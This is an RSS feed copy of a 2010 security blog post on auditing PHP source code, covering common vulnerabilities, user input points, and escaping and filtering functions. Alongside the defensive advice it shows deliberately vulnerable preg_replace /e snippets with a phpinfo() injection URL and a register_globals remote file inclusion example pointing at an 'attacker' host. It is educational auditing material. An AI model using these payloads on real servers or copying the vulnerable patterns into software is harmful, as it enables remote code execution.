<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Abysssec Security Researches &#187; Fuzzing / Auditing</title>
	<atom:link href="http://www.abysssec.com/blog/category/fuzzing/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.abysssec.com/blog</link>
	<description>Security Researches , Advisories , Coding , Projects , Reversing , Exploitation , Fuzzing</description>
	<lastBuildDate>Fri, 14 May 2010 19:22:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=abc</generator>
		<item>
		<title>Additional notes in PHP source code auditing</title>
		<link>http://www.abysssec.com/blog/2010/03/attention-in-php-source-code-auditing/</link>
		<comments>http://www.abysssec.com/blog/2010/03/attention-in-php-source-code-auditing/#comments</comments>
		<pubDate>Sun, 14 Mar 2010 19:50:33 +0000</pubDate>
		<dc:creator>daphne</dc:creator>
				<category><![CDATA[Fuzzing / Auditing]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[command execute]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[file inclusion]]></category>
		<category><![CDATA[php auditing]]></category>
		<category><![CDATA[sql injection]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=456</guid>
		<description><![CDATA[Hi . Today , I decide talk about some of my experience about methods of vulnerability discovery techniques through source code auditing . if you remember , around 1 years ago , i wrote This article : 20 ways to php Source code fuzzing (Auditing) some time ago &#8220;Stefan Esser&#8221; made The Poster on the [...]]]></description>
			<content:encoded><![CDATA[<p>Hi .<br />
Today , I decide talk about some of my experience about  methods of vulnerability discovery techniques through source code auditing .</p>
<p>if you remember , around 1 years ago  , i wrote This  article :</p>
<p><span style="color: #ff0000;">20 ways to php Source code fuzzing (Auditing)</span></p>
<p>some time ago &#8220;Stefan Esser&#8221;  made The Poster on the PHP Security . I&#8217;m going to have a brief description about most them with my experience in PHP Source code Auditing  :</p>
<p><strong>Most PHP Vulnerability </strong>:</p>
<blockquote><p>1-Cross Site Scripting (XSS)<br />
2-Cross Site Request Forgery (CSRF)<br />
3-SQL Injection<br />
4-Insecure Session Handling<br />
5-Session Fixation<br />
6-Information Disclosure<br />
7-Header Injection<br />
8-Insecure Configuration<br />
9-Weak randomness</p></blockquote>
<p>(for more information about how to find this issue in your source code , read my  article :<br />
<a href="http://www.abysssec.com/blog/2009/03/php_fuzz_audit/">http://www.abysssec.com/blog/2009/03/php_fuzz_audit/</a><br />
And another describe [ Finding vulnerabilities in PHP scripts FULL ( with examples )]:<br />
<a href="http://www.milw0rm.com/papers/381">http://www.milw0rm.com/papers/381</a></p>
<p><strong> These problem due to inaccuracy in (</strong><strong>(In summary)</strong><strong>:</strong></p>
<p><span style="text-decoration: underline;"><br />
I &#8211; Secure Input Handling</span> :<br />
accept input from users without carefully to what is injected.</p>
<p><span style="text-decoration: underline;">II &#8211; Sanitising :</span><br />
Sanitizing functions can be used to &#8220;repair&#8221; user input, according to the application‘s restrictions (e.g. specific datatypes, maximum length) instead of rejecting potentially dangerous input entirely. In general, the use of sanitizing functions is not encouraged, because certain kinds and combinations of sanitizing filters may have security implications of their own. In addition, the automatic correction of typos could render the input syntactically or semantically incorrect.<br />
for example :</p>
<ul>
<li> is_numeric()Checks a variable for numeric content.</li>
<li> is_array()Checks if a variable is an array.</li>
<li> strlen()Returns a string‘s length.</li>
<li> strip_tags()Removes HTML and PHP tags.</li>
</ul>
<p><span style="text-decoration: underline;">III-  Escaping : </span><br />
There are several different kinds of escaping:<br />
• The backslash prefix “\” defines a meta character within strings. For Example: \t is a tab<br />
space, \n is a newline character, &#8230; This can be of particular interest for functions where the newline character has a special purpose, e.g. header(). Within regular expressions the backslash is used to escape special characters, such as \. or \*, which is relevant for all functions handling regular expressions.</p>
<p>• HTML encoding translates characters normally interpreted by the web browser as HTML into their encoded equivalents &#8211; e.g. &lt; is &lt; or &lt; or &lt; and &gt; is &gt; or &gt; or &gt;. HTML encoding should be used for output handling, where user input should be reflected in HTML without injecting code. (See also: htmlentities())<br />
• URL encoding makes sure, that every character<br />
not allowed within URLs, according to RFC 1738, is properly encoded. E.g. space converts to + or %20 and &lt; is %3C. This escaping is relevant for functions handling URLs, such as urlencode() and urldecode().</p>
<p><span style="text-decoration: underline;">IV &#8211; Configuration :</span></p>
<p>Programming errors, including logic program.</p>
<p>well , we know there are 4 points that can help us in the process :</p>
<h3><strong>1 &#8211; Our PHP inputs Points :</strong></h3>
<p>[we need to find them and all functions and variables , that these have been assigned to them .]</p>
<p>input Point in PHP.Programing are :</p>
<blockquote><p>$_SERVER<br />
$_GET<br />
$_POST<br />
$_COOKIE<br />
$_REQUEST<br />
$_FILES<br />
$_ENV<br />
$_HTTP_COOKIE_VARS<br />
$_HTTP_ENV_VARS<br />
$_HTTP_GET_VARS<br />
$_HTTP_POST_FILES<br />
$_HTTP_POST_VARS<br />
$_HTTP_SERVER_VARS</p></blockquote>
<h3><strong>2-  Limiting our understanding :</strong></h3>
<p>Very good , the second point : our problem begine here . we can&#8217;t find Problem in source code like the past . Because Programmers use the limitation function . for Example , wherever you see the fllowing functions that contol input variable , possibly as many attacks are carried out . so you have two solutions : find problem in logic of code or find PHP bug  in PHP CORE !</p>
<p><strong>A) Escaping and Encoding Functions :</strong><br />
<strong>A-1 (XSS dies = 90% The direct transition is a dream) :</strong></p>
<p>• htmlspecialchars() , Escapes the characters &amp; &lt; and &gt; as HTML entities to protect the application against XSS. The correct character set and the mode : ENT_QUOTES should be used.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Hello &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">htmlspecialchars</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">ENT_QUOTES</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>• htmlentities() , Applies HTML entity encoding to all applicable characters to protect the application against XSS. The correct character set and the mode ENT_QUOTES should be used.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;Hello &quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">htmlentities</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'name'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">ENT_QUOTES</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>( htmlentities() bypass in special case [utf7] : <a href="http://pstgroup.blogspot.com/2007/11/bypass-htmlentities.html">http://pstgroup.blogspot.com/2007/11/bypass-htmlentities.html</a> )</p>
<p>• urlencode() , Applies URL encoding as seen in the query part of a URL.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;http://www.example.com/&quot;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;index.php?param=&quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">urlencode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'pa'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p><strong>A-2 : (SQL injection dies  = 90% The direct transition is a dream) :</strong><br />
• addslashes() , Applies a simple backslash escaping. The input string is assumed to be single-byte encoded. addslashes() should not be used to protect against SQL injections, since most database systems operate with multi-byte encoded strings, such as UTF-8.<br />
• addcslashes() , Applies backslash escaping. This can be used to prepare strings for use in a JavaScript string context. However, protection against HTML tag injection is not possible with this function.<br />
(bypass addslashes() in special case : <a href="http://sirdarckcat.blogspot.com/2009/10/couple-of-unicode-issues-on-php-and.html">http://sirdarckcat.blogspot.com/2009/10/couple-of-unicode-issues-on-php-and.html</a>)</p>
<p>• mysql_real_escape_string(), Escapes a string for use with mysql_query(). The character set of the current MySQL connection is taken into account, so it is safe to operate on multi-byte encoded strings.<br />
Applications implementing string escaping as protection against SQL injection attacks should use this function.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$sql</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;SELECT * FROM user WHERE&quot;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; login='&quot;</span> <span style="color: #339933;">.</span> <span style="color: #990000;">mysql_real_escape_string</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'login'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$db</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;'&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p><strong>A-3 : (XSS , SQl Inject  = 100% The direct transition is a dream) :</strong><br />
• preg_quote() , Should be used to escape user input to be inserted into regular expressions. This way the regular expression is safeguarded from semantic manipulations.<br />
Fix code :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$repl</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'/^'</span> <span style="color: #339933;">.</span> <span style="color: #990000;">preg_quote</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'part'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'/'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span> <span style="color: #0000ff;">'-[0-9]{1,4}/'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #000088;">$str</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>issue Code [Command Execute] :</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$h</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'h'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/test/e&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$h</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;jutst test&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>It works like this: <em>http://site.com/test.php?h=phpinfo()<br />
</em><br />
• escapeshellarg() , Escapes a single argument of a shell command. In order to prevent shell code injection, single quotes in user input is being escaped and the whole string enclosed in single quotes.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'resize /tmp/image.jpg'</span> <span style="color: #339933;">.</span> <span style="color: #990000;">escapeshellarg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'w'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">' '</span><span style="color: #339933;">.</span> <span style="color: #990000;">escapeshellarg</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'h'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>• escapeshellcmd() , Escapes all meta characters of a shell command in a way that no additional shell commands can be injected. If necessary, arguments should be enclosed in quotes.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #990000;">system</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">escapeshellcmd</span><span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'resize /tmp/image.jpg &quot;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'w'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot; &quot;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'h'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot;'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p><strong><br />
B- CType Extension : </strong><br />
By default, PHP comes with activated CType extension. Each of the following functions checks if all characters of a string fall under the described group of characters:</p>
<p>• ctype_alnum()alphanumeric characters &#8211; A-Z, a-z, 0-9<br />
• ctype_alpha()alphabetic characters &#8211; A-Z, a-z<br />
• ctype_cntrl() control characters &#8211; e.g. tab, line feed<br />
• ctype_digit()numerical characters &#8211; 0-9<br />
• ctype_graph()characters creating visible output e.g. no whitespace<br />
• ctype_lower()lowercase letters &#8211; a-z<br />
• ctype_print()printable characters<br />
• ctype_punct()punctuation characters &#8211; printable characters, but not digits, letters or whitespace, e.g. .,!?:;*&amp;$<br />
• ctype_space()whitespace characters &#8211; e.g. newline, tab<br />
• ctype_upper()uppercase characters &#8211; A-Z<br />
• ctype_xdigit() hexadecimal digits &#8211; 0-9, a-f, A-F</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">ctype_print</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'var'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;User input contains &quot;</span><span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;non-printable characters&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p><strong>C &#8211; Filter Extension &#8211; ext/filter</strong><br />
Starting with PHP 5.2.0 the filter extension has provided a simple API for input validation and input filtering.<br />
• filter_input()Retrieves the value of any GET, POST, COOKIE, ENV or SERVER variable and applies the specified filter.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #990000;">filter_input</span><span style="color: #009900;">&#40;</span>INPUT_GET<span style="color: #339933;">,</span> <span style="color: #0000ff;">'url'</span><span style="color: #339933;">,</span> FILTER_URL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>• filter_var()Filters a variable with the specified filter.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$url</span> <span style="color: #339933;">=</span> <span style="color: #990000;">filter_var</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$var</span><span style="color: #339933;">,</span> FILTER_URL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>List of Filters :<br />
Validation Filters<br />
• FILTER_VALIDATE_INTChecks whether the input is an integer numeric value.<br />
• FILTER_VALIDATE_BOOLEANChecks whether the input is a boolean value.<br />
• FILTER_VALIDATE_FLOATChecks whether the input is a floating point number.<br />
• FILTER_VALIDATE_REGEXPChecks the input against a regular expression.<br />
• FILTER_VALIDATE_URLChecks whether the input is a URL.<br />
• FILTER_VALIDATE_EMAILChecks whether the input is a valid email address.<br />
• FILTER_VALIDATE_IPChecks whether the input is a valid IPv4 or IPv6.</p>
<p>Sanitising Filters<br />
• FILTER_SANITIZE_STRING / FILTER_SANITIZE_STRIPPEDStrips and HTML-encodes characters according to flags and applies strip_tags().<br />
• FILTER_SANITIZE_ENCODEDApplies URL encoding.<br />
• FILTER_SANITIZE_SPECIAL_CHARSEncodes &#8216; &#8221; &lt; &gt; &amp; \0 and optionally all characters &gt; chr(127) into numeric HTML entities.<br />
• FILTER_SANITIZE_EMAILRemoves all characters not commonly used in an email address.<br />
• FILTER_SANITIZE_URLRemoves all characters not allowed in URLs.<br />
• FILTER_SANITIZE_NUMBER_INTRemoves all characters except digits and + -.<br />
• FILTER_SANITIZE_NUMBER_FLOATRemoves all characters not allowed in floating point numbers.<br />
• FILTER_SANITIZE_MAGIC_QUOTESApplies addslashes().</p>
<p>Other Filters<br />
• FILTER_UNSAFE_RAWIs a dummy filter.<br />
• FILTER_CALLBACKCalls a userspace callback function defining the filter.<br />
<strong><br />
D) HTTP Header Output</strong><br />
HTTP headers can be set using the header() function. User input should always be checked before being passed to header(), otherwise a number of security issues become relevant. Newline characters should never be used with header() in order to prevent HTTP header injections. Injected headers can be used for XSS and HTTP response splitting attacks, too. In general, user input should be handled in a context-sensitive manner.<br />
Dynamic content within parameters to Location<br />
or Set-Cookie headers should be escaped by urlencode().</p>
<p>For other HTTP header parameters, unintended context changes must be prevented as well; e.g. a semicolon separates several parameters within Content-Type.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">strpbrk</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'type'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;;/<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'invalid characters'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #990000;">header</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;Content-Type: text/&quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'type'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;; charset=utf-8;&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>Applications should not allow arbitrary HTTP Location redirects, since these can be used for phishing attacks. In addition, open redirects can have a negative impact on the cross domain policy infrastructure of Adobe‘s Flash Player.<br />
<strong><br />
E)Secure File Handling:</strong><br />
• Detect and replace NULL bytes:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">strpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\0</span>&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">===</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <span style="color: #990000;">str_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #660099; font-weight: bold;">\0</span>&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>• Prevent remote file inclusion (path prefix) and directory traversal (basename):</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #000088;">$file</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;./&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">basename</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">&quot;f&quot;</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;.php&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>• Include only whitelisted files:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">in_array</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'action'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'index'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'logout'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">include</span> <span style="color: #0000ff;">'./'</span><span style="color: #339933;">.</span><span style="color: #000088;">$_GET</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'action'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'.php'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #990000;">die</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'action not permitted'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>3) Configuration point :<br />
last point . weakness in Programing (Source code) Structure . one of the most celever part in source Code Auditing .<br />
we sea these Fllowing Configuration in code or  PHP.ini Setting :<br />
<strong>[a]- when Server don&#8217;t Disabling Remote URLs for File Handling Functions </strong><br />
File handling functions like fopen, file_get_contents, and include accept URLs as file parameters (for example: fopen(&#8216;http://www.example.com/&#8217;, &#8216;r&#8217;)). Even though this enables developers to access remote resources like HTTP URLs, it poses as a huge security risk if the filename is taken from user input without proper sanitization, and opens the door for remote code execution on the server.<br />
<strong><br />
[b] Register Globals is &#8216;ON&#8217; :</strong><br />
Prior to version 4.2.0, PHP used to provide input values as global variables. This feature was named register_globals, and it was responsible for many security issues in web applications because it allowed attackers to freely manipulate global variables in many situations. Fortunately it&#8217;s disabled by default from PHP 4.2.0 and on, because it&#8217;s dangerous on so many scales.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">ereg</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;test.php&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$PHP_SELF</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">include</span> <span style="color: #000088;">$server_inc</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;/step_one_tables.php&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

<p>demonstration :<br />
<a href="http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php ">http://path/inc/step_two_tables.php?server_inc=http://attacker/js_functions.php </a><br />
<strong><br />
[c] Server Don&#8217;t Limit Access to Certain File Name Patterns :</strong><br />
Many file extensions should not be accessible by end users. Take for example .inc. Some developers prefer to assign this extension to included scripts. The problem here is that this extension isn&#8217;t parsed by the PHP engine, and as a result, anyone can view the source code by requesting the file itself: http://www.example.com/includes/settings.inc</p>
<p>Such files may contain sensitive data like MySQL passwords. So you need to ensure that end users can not access those files. Other candidate extensions are .sql, .mysql, and .pgsql.</p>
<p>Another pattern to look out for is backup files. Some editors create backup versions of edited files in the same directory where the original file is located. For example, if you edit index.php, a backup called index.php~ will be created. Given that this file doesn&#8217;t end with .php, it will not be processed by the PHP engine, and its code will also be available to users by requesting http://www.example.com/index.php~<br />
<strong><br />
[d] Error Messages and Logging is ON :</strong><br />
By default, PHP prints error messages to the browser&#8217;s output. While this is desirable during the development process, it may reveal security information to users, like installation paths or usernames.<br />
.<br />
And many other attacks, usually design by the programmer !</p>
<p><strong><br />
 Real Word Example :<br />
</strong></p>
<p>Exp 1 : PHP Code Execution:<br />
There is an arbitrary php code execution issuedue to the unsafe use of preg_replace evaluation when parsing anchor tags and the like.</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span>
<span style="color: #666666; font-style: italic;">// Replace any usernames</span>
<span style="color: #000088;">$ret</span> <span style="color: #339933;">=</span> <span style="color: #990000;">preg_replace</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;#\[:nom:([^\]]*)\]#e&quot;</span><span style="color: #339933;">,</span>
	            <span style="color: #0000ff;">&quot;username(0, trim(<span style="color: #000099; font-weight: bold;">\&quot;</span><span style="color: #000099; font-weight: bold;">\\</span>1<span style="color: #000099; font-weight: bold;">\&quot;</span>))&quot;</span><span style="color: #339933;">,</span>
	             <span style="color: #000088;">$ret</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></td></tr></table></div>

